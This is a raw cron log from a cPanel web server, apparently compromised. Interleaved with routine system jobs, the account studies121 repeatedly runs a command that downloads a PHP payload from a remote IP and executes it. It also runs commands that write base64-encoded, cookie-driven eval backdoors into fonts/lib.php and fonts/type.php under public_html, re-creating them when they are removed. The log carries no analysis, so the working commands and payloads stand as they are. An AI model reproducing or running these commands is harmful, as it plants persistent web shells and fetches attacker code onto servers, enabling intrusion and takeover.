Feb 22 08:26:01 ip-184-168-122-23 CROND[20729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:26:01 ip-184-168-122-23 CROND[20733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:26:01 ip-184-168-122-23 CROND[20735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:26:01 ip-184-168-122-23 CROND[20738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:27:01 ip-184-168-122-23 crond[674]: (aromaskitchen) ORPHAN (no passwd entry)
Feb 22 08:27:01 ip-184-168-122-23 crond[674]: (jonessimon) ORPHAN (no passwd entry)
Feb 22 08:27:01 ip-184-168-122-23 CROND[21236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:27:01 ip-184-168-122-23 CROND[21234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:27:01 ip-184-168-122-23 CROND[21235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:27:01 ip-184-168-122-23 CROND[21237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:28:01 ip-184-168-122-23 CROND[21533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:28:01 ip-184-168-122-23 CROND[21534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:28:01 ip-184-168-122-23 CROND[21536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:28:01 ip-184-168-122-23 CROND[21538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:28:01 ip-184-168-122-23 CROND[21540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:29:01 ip-184-168-122-23 CROND[21825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:29:01 ip-184-168-122-23 CROND[21826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:29:01 ip-184-168-122-23 CROND[21829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:29:01 ip-184-168-122-23 CROND[21828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:30:01 ip-184-168-122-23 CROND[22110]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 08:30:01 ip-184-168-122-23 CROND[22111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:30:01 ip-184-168-122-23 CROND[22112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:30:01 ip-184-168-122-23 CROND[22116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:30:01 ip-184-168-122-23 CROND[22119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:30:01 ip-184-168-122-23 CROND[22122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:30:01 ip-184-168-122-23 CROND[22120]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Feb 22 08:30:01 ip-184-168-122-23 CROND[22123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:30:01 ip-184-168-122-23 CROND[22118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:31:01 ip-184-168-122-23 CROND[22411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:31:01 ip-184-168-122-23 CROND[22413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:31:01 ip-184-168-122-23 CROND[22414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:31:01 ip-184-168-122-23 CROND[22415]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 08:31:01 ip-184-168-122-23 CROND[22416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:32:01 ip-184-168-122-23 CROND[22732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:32:01 ip-184-168-122-23 CROND[22736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:32:01 ip-184-168-122-23 CROND[22737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:32:01 ip-184-168-122-23 CROND[22739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:32:01 ip-184-168-122-23 CROND[22741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:33:01 ip-184-168-122-23 CROND[23045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:33:01 ip-184-168-122-23 CROND[23046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:33:01 ip-184-168-122-23 CROND[23047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:33:01 ip-184-168-122-23 CROND[23052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:34:01 ip-184-168-122-23 CROND[23364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:34:01 ip-184-168-122-23 CROND[23367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:34:01 ip-184-168-122-23 CROND[23366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:34:01 ip-184-168-122-23 CROND[23369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:34:01 ip-184-168-122-23 CROND[23368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:35:01 ip-184-168-122-23 CROND[23787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 08:35:01 ip-184-168-122-23 CROND[23786]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:35:01 ip-184-168-122-23 CROND[23791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:35:01 ip-184-168-122-23 CROND[23792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:35:01 ip-184-168-122-23 CROND[23794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:35:01 ip-184-168-122-23 CROND[23797]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 08:35:01 ip-184-168-122-23 CROND[23795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:35:01 ip-184-168-122-23 CROND[23798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:36:01 ip-184-168-122-23 CROND[24143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:36:01 ip-184-168-122-23 CROND[24147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:36:01 ip-184-168-122-23 CROND[24145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:36:01 ip-184-168-122-23 CROND[24146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:36:01 ip-184-168-122-23 CROND[24148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:37:01 ip-184-168-122-23 CROND[24479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:37:01 ip-184-168-122-23 CROND[24482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:37:01 ip-184-168-122-23 CROND[24481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:37:01 ip-184-168-122-23 CROND[24480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:38:01 ip-184-168-122-23 CROND[24797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:38:01 ip-184-168-122-23 CROND[24799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:38:01 ip-184-168-122-23 CROND[24798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
